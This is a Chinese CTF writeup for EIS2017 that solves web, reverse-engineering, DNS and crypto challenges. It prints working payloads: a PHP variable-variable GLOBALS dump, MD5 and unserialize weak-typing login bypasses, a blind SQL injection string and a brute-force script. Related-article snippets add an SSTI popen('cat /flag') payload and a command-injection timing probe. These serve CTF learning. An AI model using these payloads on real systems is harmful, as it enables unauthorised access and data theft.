Loading [MathJax]/jax/input/TeX/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >EIS2017 CTF writeup

EIS2017 CTF writeup

作者头像
用户5878089
发布于 2019-07-25 07:49:58
发布于 2019-07-25 07:49:58
90300
代码可运行
举报
运行总次数:0
代码可运行

Web

简单的代码审计

源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php  
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
paylaod:
/index.php?args=GLOBALS

结果:

array(7) { ["_GET"]=> array(1) { ["args"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["TheHiDdenfl4g"]=> string(25) "EIS{GE7_fl4g_w17h_GL0B4L}" ["args"]=> string(7) "GLOBALS" ["GLOBALS"]=> *RECURSION* }

快速计算

脚本如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
url="http://202.120.7.220:2333/"
r=requests.get(url)
b=str(r.content).split('<br/>')[1].split('=<input type="text" name="v"/>')[0]
r=requests.post(url,data={'v':eval(b)})
print(r.text)

不是管理员也能Login

发现源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
     $test=$_GET['userid']; $test=md5($test); 
   if($test != '0'){ 
              $this->error('用户名有误,请阅读说明与帮助!'); 
           }
$pwd =$this->_post("password");
$data_u = unserialize($pwd);
if($data_u['name'] == 'XX' && $data_u['pwd']=='XX')
    {
      print_r($flag);
    }

首先绕过md5。百度寻找MD5为0e开头即可。然后再利用php弱类型。TRUE==任意字符串。

最终payload

getdata:?userid=s878926199a

postdata:userid=s878926199a&password=a:2:{s:4:"name";b:1;s:3:"pwd";b:1;}

phptrick

http://202.120.7.221:2333/index.php?gift=a&flag=php://input

post:a 然后kaisa密钥13

EIS{jbfuvsynt}

随机数

首先,分析题目。没有任何入手点,猜测为爆破随机数。

然后记录了一下出现的随机数。写成脚本如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import requests
import threading  
url="http://202.112.26.124:8080/280a31eec4c62a893ad40a6508d207c8/index.php"
def main(code):
        PHPSESSID=requests.get(url).headers['Set-Cookie'].split(';')[0]
        header={'cookie':PHPSESSID}
        while(1):
                urla=url+'?code='+str(code)
                try:
                        r=requests.get(urla,headers=header)
                        if('wrong answer' not in r.text):
                                print(r.text)
                except:
                        pass
k=[278,332,653,841,394,783,210,153,93,334,749,179,841,394,783,188,299,537,724,612,27,334,749,179,188,299,537,119,913,605]
t=[]
print("loading....")
for i in k:
        t1 = threading.Thread(target=main, args=(str(i),))
        t.append(t1)
for th in t:
        th.start()

最终 getflag。

Login

盲注

exp: data="uname=admin'^(ascii(right(pwd,1))=100)^'1&pwd=admin"

脚本跑出来结果:fsaoaigafsdfsdubbwouibiaewrawe

登录得到flag:EIS{SQLI_INJECTIion_blind}

文件上传

无语的题,常识各种姿势都不能绕过"<",试试数组发现得到flag:

exp:ext=php&content[]=a<aa&content[]=ssss

flag:EIS{6yp455_with_4rr4y}

PHP是最好的语言

和以前做过的原题类似,绕过+反序列化,构造请求参数:

?foo=a:2:{s:6:"param1";s:7:"2018aaa";s:6:"param2";a:5:{i:0;a:1:{i:0;i:1;}i:1;i:2;i:2;i:2;i:3;i:3;i:4;i:0;}}&egg[0]=%00MyAns&egg[1][]=nnnn&finish=1

得到flag:EIS{php_th3_b45t_l4ngu4g3}

RE

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
reverseme
    import logging
logging.getLogger('angr.surveyor').setLevel(logging.DEBUG)
import angr
def main():
    p = angr.Project("ReverseMe.exe")
    state = p.factory.blank_state(addr=0x004012E0 )
    state.stack_push(0xd0000010) # pointer to argv[1]
    state.stack_push(0xd0000000) # pointer to argv[0]
    state.stack_push(state.regs.esp) # argv
    state.stack_push(2) # argc
    state.stack_push(0x401f30) # address of main
    sm = p.factory.simgr(state)
    print "123"
    ex = sm.explore(find=0x00403D99, avoid=(0x00403DCF,0x00403E12,0x00403E01))
    if len(ex.found)>0:
        print "yes you got it"
        found=ex.found[0]
    print found.posix.dumps(0)
    print found.posix.dumps(1)
    #flag = s.se.eval(s.memory.load(flag_addr, 8), cast_to=str)
    #flag22 = s.se.eval(s.memory.load(flag2, 8), cast_to=str)
    # The flag is 'Math is hard!'
    #print("The flag is '{0}'".format(flag))
    #print("The flag is '{0}'".format(flag22))
    return 
if __name__ == "__main__":
    main()
#EIS{wadx_tdgk_aihc_ihkn_pjlm}

IgniteMe:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
aa='GONDPHyGjPEKruv{{pj]X@rF'
bb=[0x0D,0x13,0x17,0x11,0x02,0x01,0x20,0x1D,0x0C,0x02,0x19,0x2F,0x17,0x2B,0x24,0x1F,0x1E,0x16,0x09,0x0F,0x15,0x27,0x13,0x26,0x0A,0x2F,0x1E,0x1A,0x2D,0x0C,0x22,0x04]
cc=[]
dd=''
print len(bb)
for i in range(len(aa)):
    cc.append(ord(aa[i])^bb[i])
    cc[i]-=72
    cc[i]^=0x55
    if (cc[i]>=0x41) and (cc[i]<=0x5a):
        cc[i]+=0x20
    elif (cc[i]>=0x61) and (cc[i]<=0x7a):
        cc[i]-=0x20
    dd+=chr(cc[i])
print dd
#EIS{wadx_tdgk_aihc_ihkn_pjlm}

mobile

jeb不能反编译,直接ida,分析后发现关键函数final_check

分别打开两个so文件,定位final_check函数

MISC

隐藏在黑夜里的秘密

stegsolve打开bmp即可

DNS101

dns 服务器信息泄露

根据服务器信息可以陆续得到以下信息:

n.flag.src.edu-info.edu.cn.

z.flag.src.edu-info.edu.cn.

zz.flag.src.edu-info.edu.cn.

zzz.flag.src.edu-info.edu.cn.

.

.

.

zlar4eslumoafroa8piucrlawouy4est.zzzzzzz.flag.src.edu-info.edu.cn

dig flag-id-ztfrneclyudrfq3e6endq5.zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz.zzzzzzz.flag.src.edu-info.edu.cn ANY

easy crypto

查看加密脚本,原题。RC4加密而已。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# -*- coding: utf-8 -*-
def rc4(data,key):
        j=0
        s=range(256)
        for i in range(256):
                j=(j+s[i]+ord(key[i%len(key)]))%256
                s[i],s[j]=s[j],s[i]
        i=0
        j=0
        out=[]
        for char in data:
                i=(i+1)%256
                j=(j+s[i])%256
                s[i],s[j]=s[j],s[i]
                out.append(chr(ord(char)^s[(s[i]+s[j])%256]))
        return ''.join(out)
encodedata=rc4('\xca\xee\x86\x30\x48\xc4\xec\x56\x3d\x22\x2a\xbc\x9a\x95\x70\x23\x39\x76\x3b\xee\x09\x29\x2b\x01\x54\x00\x87\x5e\x37\x23\x3e\x79\x8b\x7b\xa9\x20\x78','hello world')
print encodedata
EIS{55a0a84f86a6ad40006f014619577ad3}
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-11-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CTFSHOW SSTI篇
payload name={ {().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
全栈程序员站长
2022/11/02
6410
RoarCTF2019 Writeup
volatility -f mem.raw pslist --profile=Win7SP1x86
Seebug漏洞平台
2019/10/25
1.2K0
2022HUBUCTF
NSSCTF{9f0284b5-74d8-4b53-90fa-ec177bdc1b3f}
故里[TRUE]
2023/04/20
6090
2022HUBUCTF
钓鱼城杯2020 部分WriteUp
poc:cmd=if [ $(echo 1|cut -c1) = '1' ];then sleep 3;fi
Timeline Sec
2020/09/07
7640
钓鱼城杯2020 部分WriteUp
De1CTF 2019-WriteUp
外层部分和 N1CTF-2018 easy_harder_php 完全一样,参考:
ChaMd5安全团队
2019/08/08
2.6K0
De1CTF 2019-WriteUp
RCTF2017 web writeup
膜蓝猫师傅,比赛中的很多题目使用的技巧其实都是常用的技巧,但是却没想到会在不同的情况下产生新的利用,让我有了新的理解。
LoRexxar
2023/02/21
4280
RCTF2017 web writeup
[CSAW CTF&#39;18] web writeup
后来才明白原来题目名就已经是hint了, 进去之后就会发现输入括号和没有括号是有差别的, 然后想起来最近的noxCTF刚刚做过一个LDAP注入
安恒网络空间安全讲武堂
2018/10/25
9800
[CSAW CTF&#39;18] web writeup
RCTF2020 部分Writeup
首先show函数里有一个数组越界,输入-5可以泄露从$rebase(0x4008)开始0x996个bytes
Timeline Sec
2020/06/10
1.2K0
RCTF2020 部分Writeup
TAMUCTF-2019 Write up
gets可以造成栈溢出,最终只需要劫持程序执行流到printflag函数就行,strncpy中将src拷贝到dest上可以覆盖栈上的v2指针,而two函数和printflag函数只有最后一个字节不同,所以不用再去爆破一个1/16
安恒网络空间安全讲武堂
2019/05/09
1.8K0
QWB WriteUp
register的析构函数, 调用profile的__call函数,进而调用profile的upload_img函数
ChaMd5安全团队
2019/06/02
1.4K0
L-ctf2016 Writeup
在大家都为祖国母亲庆生的时候,天天都有人问我:你干嘛呢?出来玩呀….我表示(╯‵□′)╯︵┻━┻,稍微有点儿遗憾的是又刚好错过了小礼物的边缘线,做了2道高分web题还挺开心的o(^▽^)┛,不过xd的服务器也是蛮厉害…题题都要爆破还没怎么崩过…强无敌…
LoRexxar
2023/02/21
4480
L-ctf2016 Writeup
CTF札记二
首先第一层检查需要绕过ereg漏洞,百度可以知道存在截断的问题:ereg读到%00的时候,就截止了, 那么在字符串里面包括%00即可; 接着需要长度小于8但要大于9999999,想到hint里的科学方法,使用科学计数法即可; 还要求有-,最后构造password=1e9%00-,直接在地址栏提交,通过表单提交不会把%00看作截断符。
慕白
2018/08/03
1.1K0
CTF札记二
Flare-On 2018 writeup(上)
签到关,jar程序,直接拖入jd,很直接的flag: GoldenTicket2018@flare-on.com
ChaMd5安全团队
2018/10/23
8900
Flare-On 2018 writeup(上)
2022年春秋杯网络安全联赛春季赛勇者山峰
题目内容:pwner:我决定我要开始卷web了,我该怎么学呢?算了,先从基础的php开始学起吧。
h0cksr
2023/05/17
4250
2021羊城杯部分web writeup
参考链接:https://annevi.cn/2020/08/14/wmctf2020-gogogo-writeup/#0x05_go_version
ly0n
2021/09/15
1.1K0
2021羊城杯部分web writeup
NJCTF Web部分writeup
又到了一年一度的比赛季,这次打了打赛宁自己办的NJCTF,这里稍微整理下Web部分的wp,虽然不知道题目是谁出的,但是我觉得大部分题目还是挺蠢的…看的人从中汲取自己想要的知识就好。
LoRexxar
2023/02/21
3350
NJCTF Web部分writeup
BugkuCTF之web解题记录(一)
构造payload:**?file=php://filter/read=convert.base64-encode/resource=index.php**
十二惊惶
2024/02/28
2190
AUTO PWN
ref: https://bbs.pediy.com/thread-266757.htm
i0gan
2021/06/26
2.3K0
赛前福利①最新2018HITB国际赛writeup
FIRST 距离“西湖论剑杯”全国大学生网络空间安全技能大赛只有10天啦! 要拿大奖、赢offer,那必须得来点赛前练习定定心啊~这不,讲武堂就拿到了2018HITB国际赛的一手write up!web、misc、pwn、crypto、mobile都有!快来尝鲜! ——特别感谢本文作者:BXS—— 本文作者曾多次参与“安恒杯”月赛,成绩亮眼~ 在本次HIBT国际赛中,他所在的队伍也取得了rank16、大陆前5的好成绩~Congratulations! PART1.WEB 1.Upload 访问题目:htt
安恒网络空间安全讲武堂
2018/04/18
1.5K0
赛前福利①最新2018HITB国际赛writeup
0ctf2016 && sunshinectf2016 writeup
上个周末打了个叼叼的0ctf,结果“学院派”的愤怒就是看什么题目都是一篇篇文献…web狗简直虐了一地,顺便附上sunshine ctf misc300的writeup(一个没有web题目的比赛Orz)…
LoRexxar
2023/02/21
1K0
0ctf2016 && sunshinectf2016 writeup
相关推荐
CTFSHOW SSTI篇
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档